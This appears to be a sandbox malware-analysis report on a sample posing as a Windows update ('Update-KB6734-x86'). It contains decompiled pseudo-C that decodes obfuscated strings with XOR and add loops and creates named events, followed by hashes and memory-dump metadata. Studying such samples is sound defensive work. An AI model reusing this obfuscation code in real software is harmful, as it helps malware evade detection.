				_v90 = 0x59;
				_v89 = 0xfe;
				_v88 = 0x78;
				_v87 = 0xb0;
				_v86 = 0xb1;
				_v85 = 0x27;
				_v84 = 0x34;
				_v83 = 0xf8;
				_v82 = 0x7f;
				_v81 = 0x7a;
				_v80 = 6;
				_v79 = 0x30;
				_v78 = 0xcb;
				_v180 = 0x28;
				_v179 = 0x7d;
				_v178 = 0x18;
				_v177 = 0x92;
				_v176 = 0x14;
				_v175 = 0xdf;
				_v174 = 0xc6;
				_v173 = 0x62;
				_v172 = 0x42;
				_v171 = 0x9d;
				_v170 = 0x11;
				_v169 = 0xe;
				_v168 = 0x43;
				_v167 = 0x48;
				_v166 = 0xcb;
				_t575 = 0;
				do {
					 *(_t731 + _t575 + 0x68) =  *(_t731 + _t575 + 0x68) ^  *(_t731 + _t575 + 0x10);
					_t137 = _t575 + 0x6a; // 0x59
					 *(_t731 + _t575 + 0x69) =  *(_t731 + _t575 + 0x69) ^  *(_t731 + _t575 + 0x11);
					 *(_t731 + _t575 + 0x6a) =  *(_t731 + _t137) ^  *(_t731 + _t575 + 0x12);
					 *(_t731 + _t575 + 0x6b) =  *(_t731 + _t575 + 0x6b) ^  *(_t731 + _t575 + 0x13);
					 *(_t731 + _t575 + 0x6c) =  *(_t731 + _t575 + 0x6c) ^  *(_t731 + _t575 + 0x14);
					_t575 = _t575 + 5;
				} while (_t575 < 0xf);
				_t640 =  *0x431f34; // 0x32
				_v137 = 0x5c;
				_v135 = 0x5c;
				 *0x431f34 = _t640 + 0x32;
				_v40 = 0xbf;
				_v39 = 0xb5;
				_v38 = 0x53;
				_v37 = 0xa2;
				_v36 = 0x92;
				_v35 = 0x76;
				_v34 = 0x85;
				_v33 = 0xd9;
				_v32 = 4;
				_v31 = 0x41;
				_v30 = 0x85;
				_v29 = 0x70;
				_v28 = 0x49;
				_v27 = 0xf6;
				_v26 = 0x7d;
				_v25 = 0xd2;
				_v140 = 9;
				_v139 = 0x5a;
				_v138 = 0x1d;
				_v136 = 0x30;
				_v134 = 0x33;
				_v133 = 0x44;
				_v132 = 1;
				_v131 = 0x77;
				_v130 = 0x12;
				_v129 = 0x7c;
				_v128 = 8;
				_v127 = 0x3a;
				_v126 = 0x7f;
				_v125 = 7;
				E0041E250(0x10,  &_v140,  &_v40);
				_t719 =  *0x431f38; // 0x2d2c
				_v144 = 0x54;
				_v143 = 0x2c;
				_v142 = 0x7c;
				_v141 = 0xc;
				_v140 = 0x12;
				_v139 = 0x7c;
				_v138 = 0x2c;
				_v137 = 0xe7;
				_v136 = 0x50;
				_v135 = 0x8d;
				_v134 = 0x53;
				_v133 = 0x29;
				_v132 = 0xa2;
				_v131 = 0xa8;
				_v130 = 0x4e;
				_v129 = 0x45;
				_v164 = 0xfa;
				_v163 = 0x1d;
				_v162 = 0xd7;
				_v161 = 0x35;
				_v160 = 0x5a;
				_v159 = 0xf0;
				_v158 = 0x43;
				_v157 = 0x90;
				_v156 = 0xf5;
				_v155 = 0xe9;
				_v154 = 0x12;
				_v153 = 0x45;
				_v152 = 0xd2;
				_v151 = 0x9d;
				_v150 = 0x2a;
				_v149 = 0xbb;
				_t579 = 0;
				do {
					 *((char*)(_t731 + _t579 + 0x34)) =  *((intOrPtr*)(_t731 + _t579 + 0x34)) +  *((intOrPtr*)(_t731 + _t579 + 0x20));
					_t233 = _t579 + 0x36; // 0x7c
					 *((char*)(_t731 + _t579 + 0x35)) =  *((intOrPtr*)(_t731 + _t579 + 0x35)) +  *((intOrPtr*)(_t731 + _t579 + 0x21));
					 *((char*)(_t731 + _t579 + 0x36)) =  *((intOrPtr*)(_t731 + _t233)) +  *((intOrPtr*)(_t731 + _t579 + 0x22));
					 *((char*)(_t731 + _t579 + 0x37)) =  *((intOrPtr*)(_t731 + _t579 + 0x37)) +  *((intOrPtr*)(_t731 + _t579 + 0x23));
					_t579 = _t579 + 4;
					_t719 = _t719 + 0x1b4;
				} while (_t579 < 0x10);
				 *0x431f38 = _t719;
				_v24 = 0x4c;
				_v23 = 0xd3;
				_v22 = 0x82;
				_v21 = 0x4f;
				_v20 = 0x90;
				_v19 = 0x73;
				_v18 = 0x45;
				_v17 = 0xda;
				_v16 = 0x5e;
				_v15 = 0xa0;
				_v14 = 0xe3;
				_v13 = 0x65;
				_v12 = 0x80;
				_v11 = 0x16;
				_v10 = 2;
				_v9 = 0x4a;
				_v8 = 0x59;
				_v124 = 0xd;
				_v123 = 0x43;
				_v122 = 0xa;
				_v121 = 0x59;
				_v120 = 0x18;
				_v119 = 0x74;
				_v118 = 0x18;
				_v117 = 0x77;
				_v116 = 0;
				_v115 = 0x45;
				_v114 = 0x33;
				_v113 = 0x56;
				_v112 = 0x38;
				_v111 = 0x4c;
				_v110 = 0x7e;
				_v109 = 0x3b;
				_v108 = 0x43;
				E0041E250(0x11,  &_v124,  &_v24);
				_v126 = 0xf2;
				_v124 = 0xf2;
				_v128 = 0x11;
				_v127 = 0x4d;
				_v125 = 0x60;
				_v123 = 0xf6;
				_v122 = 0xfc;
				_v121 = 0x1a;
				_v120 = 0x4e;
				_v119 = 0x98;
				_v118 = 0x3f;
				_v117 = 0xc1;
				_v116 = 0xf8;
				_v115 = 0xf4;
				_v114 = 0xb6;
				_v113 = 0x33;
				_v112 = 0x94;
				_v111 = 0xd5;
				_v110 = 0xd6;
				_v109 = 0x6d;
				_v164 = 0x3d;
				_v163 = 0xfc;
				_v162 = 0x61;
				_v161 = 0xed;
				_v160 = 0x6f;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0x27;
				_v156 = 0x1e;
				_v155 = 0xd4;
				_v154 = 0x30;
				_v153 = 0xb6;
				_v152 = 0x4d;
				_v151 = 0x82;
				_v150 = 0xaf;
				_v149 = 0x3b;
				_v148 = 0xe0;
				_t649 =  *0x431f38; // 0x2d2c
				_v147 = 0x70;
				_v146 = 0xa2;
				_v145 = 0x93;
				_t585 = 0;
				do {
					 *((intOrPtr*)(_t731 + _t585 + 0x44)) =  *((intOrPtr*)(_t731 + _t585 + 0x44)) +  *((intOrPtr*)(_t731 + _t585 + 0x20));
					 *((intOrPtr*)(_t731 + _t585 + 0x45)) =  *((intOrPtr*)(_t731 + _t585 + 0x45)) +  *((intOrPtr*)(_t731 + _t585 + 0x21));
					 *((intOrPtr*)(_t731 + _t585 + 0x46)) =  *((intOrPtr*)(_t731 + _t585 + 0x46)) +  *((intOrPtr*)(_t731 + _t585 + 0x22));
					 *((intOrPtr*)(_t731 + _t585 + 0x47)) =  *((intOrPtr*)(_t731 + _t585 + 0x47)) +  *((intOrPtr*)(_t731 + _t585 + 0x23));
					 *((intOrPtr*)(_t731 + _t585 + 0x48)) =  *((intOrPtr*)(_t731 + _t585 + 0x48)) +  *((intOrPtr*)(_t731 + _t585 + 0x24));
					_t585 = _t585 + 5;
					_t649 = _t649 + 0x221;
				} while (_t585 < 0x14);
				_v72 = 0x54;
				_v71 = 0x2c;
				_v70 = 0x7c;
				_v69 = 0xc;
				_v68 = 0x12;
				_v67 = 0x7c;
				_v66 = 0x2c;
				_v65 = 0xe7;
				_v64 = 0x50;
				_v63 = 0x8d;
				_v62 = 0x53;
				_v61 = 0x29;
				_v60 = 0xa2;
				_v59 = 0xa8;
				_v58 = 0x4e;
				_v176 = 0xfb;
				_v175 = 0x24;
				_v174 = 0xc5;
				_v173 = 0x60;
				_v172 = 0x5a;
				_v171 = 0xf3;
				_v170 = 0x4b;
				_v169 = 0x5e;
				_v168 = 0x26;
				_v167 = 0xd8;
				_v166 = 0x1b;
				_v165 = 0x4b;
				_v164 = 0xa3;
				_v163 = 0xd0;
				_v162 = 0xb2;
				_t586 = 0;
				do {
					 *((intOrPtr*)(_t731 + _t586 + 0x78)) =  *((intOrPtr*)(_t731 + _t586 + 0x78)) +  *((intOrPtr*)(_t731 + _t586 + 0x10));
					 *((intOrPtr*)(_t731 + _t586 + 0x79)) =  *((intOrPtr*)(_t731 + _t586 + 0x79)) +  *((intOrPtr*)(_t731 + _t586 + 0x11));
					 *((intOrPtr*)(_t731 + _t586 + 0x7a)) =  *((intOrPtr*)(_t731 + _t586 + 0x7a)) +  *((intOrPtr*)(_t731 + _t586 + 0x12));
					 *((intOrPtr*)(_t731 + _t586 + 0x7b)) =  *((intOrPtr*)(_t731 + _t586 + 0x7b)) +  *((intOrPtr*)(_t731 + _t586 + 0x13));
					 *((intOrPtr*)(_t731 + _t586 + 0x7c)) =  *((intOrPtr*)(_t731 + _t586 + 0x7c)) +  *((intOrPtr*)(_t731 + _t586 + 0x14));
					_t586 = _t586 + 5;
					_t649 = _t649 + 0x221;
				} while (_t586 < 0xf);
				 *0x431f38 = _t649;
				_push( &_v124);
				_v124 = 0x9e;
				_v123 = 0x5a;
				_v122 = 0x4c;
				_v121 = 0xd3;
				_v120 = 0x82;
				_v119 = 0x4f;
				_v118 = 0x90;
				_v117 = 0x73;
				_v116 = 0x45;
				_v115 = 0xda;
				_v114 = 0x5e;
				_v113 = 0xa0;
				_v112 = 0xe3;
				_v111 = 0x65;
				_v110 = 0x80;
				_v109 = 0x16;
				_v160 = 0x16;
				_v159 = 0xf8;
				_v158 = 0x20;
				_v157 = 0xd1;
				_v156 = 0xd4;
				_v155 = 0x30;
				_v154 = 0xbf;
				_v153 = 0x33;
				_v152 = 0x36;
				_v151 = 0xe7;
				_v150 = 0x20;
				_v149 = 0xee;
				_v148 = 0xbf;
				_v147 = 0xd;
				_v146 = 0xa;
				_v145 = 0xd1;
				E0041E2E0( &_v160, 0x10);
				_t659 =  *0x431f38; // 0x2d2c
				_v180 = 0x54;
				_v179 = 0x2c;
				_v178 = 0x7c;
				_v177 = 0xc;
				_v176 = 0x12;
				_v175 = 0x7c;
				_v174 = 0x2c;
				_v173 = 0xe7;
				_v172 = 0x50;
				_v171 = 0x8d;
				_v170 = 0x53;
				_v169 = 0x29;
				_v168 = 0xa2;
				_v167 = 0xa8;
				_v166 = 0x4e;
				_v164 = 0xf9;
				_v163 = 0x15;
				_v162 = 0xc5;
				_v161 = 0x60;
				_v160 = 0x5a;
				_v159 = 0xf3;
				_v158 = 0x4b;
				_v157 = 0x5e;
				_v156 = 0x26;
				_v155 = 0xd8;
				_v154 = 0x1b;
				_v153 = 0x4b;
				_v152 = 0xa3;
				_v151 = 0xd0;
				_v150 = 0xb2;
				_t590 = 0;
				do {
					 *((char*)(_t731 + _t590 + 0x10)) =  *((intOrPtr*)(_t731 + _t590 + 0x10)) +  *((intOrPtr*)(_t731 + _t590 + 0x20));
					 *((char*)(_t731 + _t590 + 0x11)) =  *((intOrPtr*)(_t731 + _t590 + 0x11)) +  *((intOrPtr*)(_t731 + _t590 + 0x21));
					_t491 = _t590 + 0x12; // 0x7c
					 *((char*)(_t731 + _t590 + 0x12)) =  *((intOrPtr*)(_t731 + _t491)) +  *((intOrPtr*)(_t731 + _t590 + 0x22));
					 *((char*)(_t731 + _t590 + 0x13)) =  *((intOrPtr*)(_t731 + _t590 + 0x13)) +  *((intOrPtr*)(_t731 + _t590 + 0x23));
					 *((char*)(_t731 + _t590 + 0x14)) =  *((intOrPtr*)(_t731 + _t590 + 0x14)) +  *((intOrPtr*)(_t731 + _t590 + 0x24));
					_t590 = _t590 + 5;
					_t659 = _t659 + 0x221;
				} while (_t590 < 0xf);
				 *0x431f38 = _t659;
				_push( &_v164);
				_v164 = 0x9e;
				_v163 = 0x5a;
				_v162 = 0x4c;
				_v161 = 0xd3;
				_v160 = 0x82;
				_v159 = 0x4f;
				_v158 = 0x90;
				_v157 = 0x73;
				_v156 = 0x45;
				_v155 = 0xda;
				_v154 = 0x5e;
				_v153 = 0xa0;
				_v152 = 0xe3;
				_v151 = 0x65;
				_v150 = 0x80;
				_v149 = 0x16;
				_v180 = 0x16;
				_v179 = 0xf8;
				_v178 = 0x20;
				_v177 = 0xd1;
				_v176 = 0xd4;
				_v175 = 0x30;
				_v174 = 0xbf;
				_v173 = 0x33;
				_v172 = 0x36;
				_v171 = 0xe7;
				_v170 = 0x20;
				_v169 = 0xee;
				_v168 = 0xbf;
				_v167 = 0xd;
				_v166 = 0x1b;
				_v165 = 0xd3;
				_t624 = E0041E2E0( &_v180, 0x10);
				 *((intOrPtr*)(_t728 + 0x164)) = 0;
				 *((intOrPtr*)(_t728 + 0x16c)) = 0;
				 *((intOrPtr*)(_t728 + 0x184)) = 0;
				 *((intOrPtr*)(_t728 + 0x148)) = 0;
				 *((intOrPtr*)(_t728 + 0x144)) = 0;
				 *(_t728 + 0x18c) = 0;
				 *(_t728 + 0x188) = 1;
				memset(_t728 + 4, 0, 0x50 << 2);
				_push( *((intOrPtr*)(_t728 + 0x16c)));
				_push(0);
				_t725 = _t728 + 0x180;
				_push( *((intOrPtr*)(_t728 + 0x164)));
				_push(_t725);
				 *((intOrPtr*)(_t728 + 0x168)) = 0;
				_t725->nLength = 4;
				 *((intOrPtr*)(_t728 + 0x17c)) = 0;
				if(E00423260(_t624, _t725, _t728) != 0) {
					 *(_t728 + 0x18c) = _t725;
				}
				 *((intOrPtr*)(_t728 + 0x14c)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v128);
				 *((intOrPtr*)(_t728 + 0x15c)) = CreateEventA( *(_t728 + 0x18c), 1, 0, _t624);
				 *((intOrPtr*)(_t728 + 0x158)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v96);
				 *((intOrPtr*)(_t728 + 0x150)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v112);
				 *((intOrPtr*)(_t728 + 0x154)) = CreateEventA( *(_t728 + 0x18c), 1, 0,  &_v164);
				 *((intOrPtr*)(_t728 + 0x160)) = 0;
				E004237E0();
				return E00424873(_t728, _v28);
			}

0x0041e3a0
0x0041e3a6
0x0041e3ae
0x0041e3b6
0x0041e3b8
0x0041e3bd
0x0041e3c2
0x0041e3c7
0x0041e3cc
0x0041e3d1
0x0041e3d6
0x0041e3db
0x0041e3e0
0x0041e3e5
0x0041e3ea
0x0041e3ef
0x0041e3f4
0x0041e3f9
0x0041e3fe
0x0041e403
0x0041e408
0x0041e40d
0x0041e412
0x0041e417
0x0041e41c
0x0041e421
0x0041e426
0x0041e42b
0x0041e430
0x0041e435
0x0041e43a
0x0041e43f
0x0041e444
0x0041e449
0x0041e44e
0x0041e450
0x0041e462
0x0041e46c
0x0041e476
0x0041e480
0x0041e488
0x0041e492
0x0041e496
0x0041e499
0x0041e49e
0x0041e4be
0x0041e4c4
0x0041e4cc
0x0041e4d4
0x0041e4db
0x0041e4e3
0x0041e4eb
0x0041e4f3
0x0041e4fb
0x0041e503
0x0041e50b
0x0041e513
0x0041e51b
0x0041e523
0x0041e52b
0x0041e533
0x0041e53b
0x0041e543
0x0041e548
0x0041e54c
0x0041e551
0x0041e555
0x0041e55a
0x0041e55e
0x0041e563
0x0041e568
0x0041e56d
0x0041e572
0x0041e577
0x0041e57c
0x0041e581
0x0041e586
0x0041e58b
0x0041e590
0x0041e595
0x0041e59a
0x0041e59f
0x0041e5a4
0x0041e5a9
0x0041e5ae
0x0041e5b3
0x0041e5b8
0x0041e5bd
0x0041e5c2
0x0041e5c7
0x0041e5cc
0x0041e5d1
0x0041e5d6
0x0041e5db
0x0041e5e0
0x0041e5e5
0x0041e5ea
0x0041e5ef
0x0041e5f4
0x0041e5f9
0x0041e5fe
0x0041e603
0x0041e608
0x0041e60d
0x0041e612
0x0041e617
0x0041e61c
0x0041e621
0x0041e626
0x0041e62b
0x0041e630
0x0041e63e
0x0041e648
0x0041e64c
0x0041e65a
0x0041e668
0x0041e672
0x0041e676
0x0041e679
0x0041e67e
0x0041e68f
0x0041e693
0x0041e6a1
0x0041e6a7
0x0041e6af
0x0041e6b7
0x0041e6be
0x0041e6c6
0x0041e6ce
0x0041e6d6
0x0041e6de
0x0041e6e6
0x0041e6ee
0x0041e6f6
0x0041e6fe
0x0041e706
0x0041e70e
0x0041e716
0x0041e71e
0x0041e726
0x0041e72b
0x0041e730
0x0041e735
0x0041e73a
0x0041e73f
0x0041e744
0x0041e749
0x0041e74e
0x0041e753
0x0041e758
0x0041e75d
0x0041e762
0x0041e767
0x0041e76c
0x0041e771
0x0041e778
0x0041e77d
0x0041e782
0x0041e787
0x0041e78c
0x0041e791
0x0041e796
0x0041e79b
0x0041e7a0
0x0041e7a5
0x0041e7aa
0x0041e7ae
0x0041e7b3
0x0041e7b8
0x0041e7bd
0x0041e7c2
0x0041e7c7
0x0041e7cc
0x0041e7d1
0x0041e7d6
0x0041e7db
0x0041e7e0
0x0041e7e5
0x0041e7ea
0x0041e7ef
0x0041e7f4
0x0041e7f9
0x0041e7fe
0x0041e803
0x0041e808
0x0041e80d
0x0041e812
0x0041e817
0x0041e820
0x0041e82e
0x0041e838
0x0041e83c
0x0041e84e
0x0041e860
0x0041e864
0x0041e867
0x0041e86b
0x0041e881
0x0041e888
0x0041e890
0x0041e898
0x0041e8a0
0x0041e8a8
0x0041e8b0
0x0041e8b8
0x0041e8c0
0x0041e8c8
0x0041e8d0
0x0041e8d8
0x0041e8e0
0x0041e8e8
0x0041e8f0
0x0041e8f8
0x0041e900
0x0041e908
0x0041e910
0x0041e915
0x0041e91a
0x0041e91f
0x0041e924
0x0041e929
0x0041e92e
0x0041e933
0x0041e938
0x0041e93d
0x0041e942
0x0041e947
0x0041e94c
0x0041e951
0x0041e956
0x0041e95b
0x0041e960
0x0041e965
0x0041e96e
0x0041e972
0x0041e97a
0x0041e97f
0x0041e983
0x0041e988
0x0041e98d
0x0041e991
0x0041e996
0x0041e99b
0x0041e9a0
0x0041e9a5
0x0041e9aa
0x0041e9af
0x0041e9b4
0x0041e9b8
0x0041e9bd
0x0041e9c2
0x0041e9c7
0x0041e9cc
0x0041e9d1
0x0041e9d6
0x0041e9da
0x0041e9df
0x0041e9e4
0x0041e9e9
0x0041e9ee
0x0041e9f3
0x0041e9f8
0x0041e9fd
0x0041ea02
0x0041ea07
0x0041ea0b
0x0041ea0f
0x0041ea14
0x0041ea19
0x0041ea1e
0x0041ea23
0x0041ea2a
0x0041ea2f
0x0041ea34
0x0041ea39
0x0041ea40
0x0041ea44
0x0041ea4c
0x0041ea54
0x0041ea5c
0x0041ea64
0x0041ea78
0x0041ea7b
0x0041ea7f
0x0041ea84
0x0041ea89
0x0041ea8e
0x0041ea93
0x0041ea98
0x0041ea9d
0x0041eaa2
0x0041eaa7
0x0041eaac
0x0041eab4
0x0041eabc
0x0041eac3
0x0041eacb
0x0041ead3
0x0041eadb
0x0041eae3
0x0041eae8
0x0041eaed
0x0041eaf2
0x0041eaf7
0x0041eafc
0x0041eb01
0x0041eb06
0x0041eb0b
0x0041eb10
0x0041eb15
0x0041eb1a
0x0041eb1f
0x0041eb24
0x0041eb29
0x0041eb2e
0x0041eb30
0x0041eb34
0x0041eb3c
0x0041eb44
0x0041eb4c
0x0041eb54
0x0041eb68
0x0041eb6b
0x0041eb6f
0x0041eb78
0x0041eb7f
0x0041eb89
0x0041eb8e
0x0041eb93
0x0041eb98
0x0041eb9d
0x0041eba2
0x0041eba7
0x0041ebac
0x0041ebb1
0x0041ebb6
0x0041ebbb
0x0041ebc0
0x0041ebc5
0x0041ebca
0x0041ebcf
0x0041ebd4
0x0041ebd9
0x0041ebde
0x0041ebe3
0x0041ebe8
0x0041ebed
0x0041ebf2
0x0041ebf7
0x0041ebfc
0x0041ec01
0x0041ec06
0x0041ec0b
0x0041ec10
0x0041ec15
0x0041ec1a
0x0041ec1f
0x0041ec24
0x0041ec29
0x0041ec2e
0x0041ec37
0x0041ec3c
0x0041ec41
0x0041ec46
0x0041ec4b
0x0041ec50
0x0041ec55
0x0041ec5a
0x0041ec5f
0x0041ec64
0x0041ec69
0x0041ec6d
0x0041ec72
0x0041ec77
0x0041ec7c
0x0041ec81
0x0041ec86
0x0041ec8b
0x0041ec90
0x0041ec95
0x0041ec9a
0x0041ec9f
0x0041eca4
0x0041eca9
0x0041ecae
0x0041ecb3
0x0041ecb8
0x0041ecbd
0x0041ecc2
0x0041ecc7
0x0041eccc
0x0041ecd0
0x0041ecde
0x0041ecec
0x0041ecf0
0x0041ecfa
0x0041ed10
0x0041ed22
0x0041ed26
0x0041ed29
0x0041ed2d
0x0041ed36
0x0041ed3d
0x0041ed47
0x0041ed4c
0x0041ed51
0x0041ed56
0x0041ed5b
0x0041ed60
0x0041ed65
0x0041ed6a
0x0041ed6f
0x0041ed74
0x0041ed79
0x0041ed7e
0x0041ed83
0x0041ed88
0x0041ed8d
0x0041ed92
0x0041ed97
0x0041ed9c
0x0041eda1
0x0041eda6
0x0041edab
0x0041edb0
0x0041edb5
0x0041edba
0x0041edbf
0x0041edc4
0x0041edc9
0x0041edce
0x0041edd3
0x0041edd8
0x0041eddd
0x0041ede2
0x0041edec
0x0041edee
0x0041edf4
0x0041edfc
0x0041ee02
0x0041ee08
0x0041ee0e
0x0041ee14
0x0041ee26
0x0041ee34
0x0041ee35
0x0041ee36
0x0041ee3c
0x0041ee3d
0x0041ee3e
0x0041ee44
0x0041ee4a
0x0041ee57
0x0041ee59
0x0041ee59
0x0041ee81
0x0041ee8f
0x0041eea6
0x0041eec6
0x0041eece
0x0041eed4
0x0041eeda
0x0041eef7

Strings

^, xrefs: 0041ED79
J, xrefs: 0041E900
C, xrefs: 0041E960
,, xrefs: 0041EC3C
v, xrefs: 0041E4EB
', xrefs: 0041E5B8
}, xrefs: 0041E716
4, xrefs: 0041E3E0
', xrefs: 0041E3DB
0, xrefs: 0041E3F9
s, xrefs: 0041EBAC
Z, xrefs: 0041ED4C
|, xrefs: 0041EA8E
I, xrefs: 0041E706
Y, xrefs: 0041E908
p, xrefs: 0041E51B
N, xrefs: 0041E7BD
L, xrefs: 0041ED51
P, xrefs: 0041EC5F
e, xrefs: 0041ED88
v, xrefs: 0041E6CE
s, xrefs: 0041ED6A
a, xrefs: 0041E9DA
L, xrefs: 0041E888
P, xrefs: 0041E7A0
T, xrefs: 0041EC37
H, xrefs: 0041E621
0, xrefs: 0041EDB0
,, xrefs: 0041E796
^, xrefs: 0041EBBB
T, xrefs: 0041EA84
Z, xrefs: 0041EB8E
^, xrefs: 0041ECA4
6, xrefs: 0041EDBF
Y, xrefs: 0041E91F
z, xrefs: 0041E5CC
^, xrefs: 0041E8C8
^, xrefs: 0041EB06
0, xrefs: 0041E5D6
`, xrefs: 0041E983
:, xrefs: 0041E59A
3, xrefs: 0041EDBA
P, xrefs: 0041EAAC
e, xrefs: 0041EBCA
}, xrefs: 0041E533
E, xrefs: 0041E7C2
N, xrefs: 0041EADB
Z, xrefs: 0041EC95
|,T, xrefs: 0041ECF0
|,T, xrefs: 0041E650, 0041E45E, 0041EB40
O, xrefs: 0041EBA2
~, xrefs: 0041E956
4, xrefs: 0041E5BD
=, xrefs: 0041E9D1
s, xrefs: 0041E8B0
{, xrefs: 0041E595
, xrefs: 0041EDA1
), xrefs: 0041E7AE
3, xrefs: 0041E73A
&, xrefs: 0041ECA9
,, xrefs: 0041E77D
, xrefs: 0041EDC9
Y:{, xrefs: 0041E648
p, xrefs: 0041E586
N, xrefs: 0041E996
E, xrefs: 0041E93D
,, xrefs: 0041EA89
|,T, xrefs: 0041E838
E, xrefs: 0041E8B8
I, xrefs: 0041E523
0, xrefs: 0041EA02
|, xrefs: 0041EA9D
A, xrefs: 0041E50B
:, xrefs: 0041E75D
E, xrefs: 0041EBB1
), xrefs: 0041EAC3
|, xrefs: 0041EC50
T, xrefs: 0041E778
O, xrefs: 0041E8A0
`, xrefs: 0041EC90
e, xrefs: 0041E8E0
|, xrefs: 0041E791
E, xrefs: 0041ED6F
A, xrefs: 0041E6EE
p, xrefs: 0041E6FE
L, xrefs: 0041EB93
Y:{, xrefs: 0041E46C
?, xrefs: 0041E9A0
m, xrefs: 0041E9CC
w, xrefs: 0041E749
:, xrefs: 0041E3BD
3, xrefs: 0041E9B8
,, xrefs: 0041EAA2
z, xrefs: 0041E3EF
;, xrefs: 0041EA19
O, xrefs: 0041ED60
8, xrefs: 0041E94C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $ $&$'$'$)$)$,$,$,$,$,$0$0$0$0$3$3$3$4$4$6$8$:$:$:$;$=$?$A$A$C$E$E$E$E$E$H$I$I$J$L$L$L$N$N$N$O$O$O$P$P$P$T$T$T$Y$Y$Y:{$Y:{$Z$Z$Z$^$^$^$^$^$`$`$a$e$e$e$m$p$p$p$s$s$s$v$v$w$z$z${$|$|$|$|$|,T$|,T$|,T$}$}$~
API String ID: 0-75302382
Opcode ID: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction ID: 0544d4bd05e75d62e2756a487d0dc6e4d92f5e832a14f0b3da5a45c8b404d5bb
Opcode Fuzzy Hash: 9ebe39ba551fc4c6687707c0188dc31044f6a9c45a0b78eaedfd32ae9359fd65
Instruction Fuzzy Hash: 2072A62010C7C189D322D73C945878FFFD55BA7228F585A9DE1E85B3D3C2AA8249C76B

Uniqueness

Uniqueness Score: -1.00%

Function 00409436, Relevance: 171.1, Strings: 136, Instructions: 1070
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00409436(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char 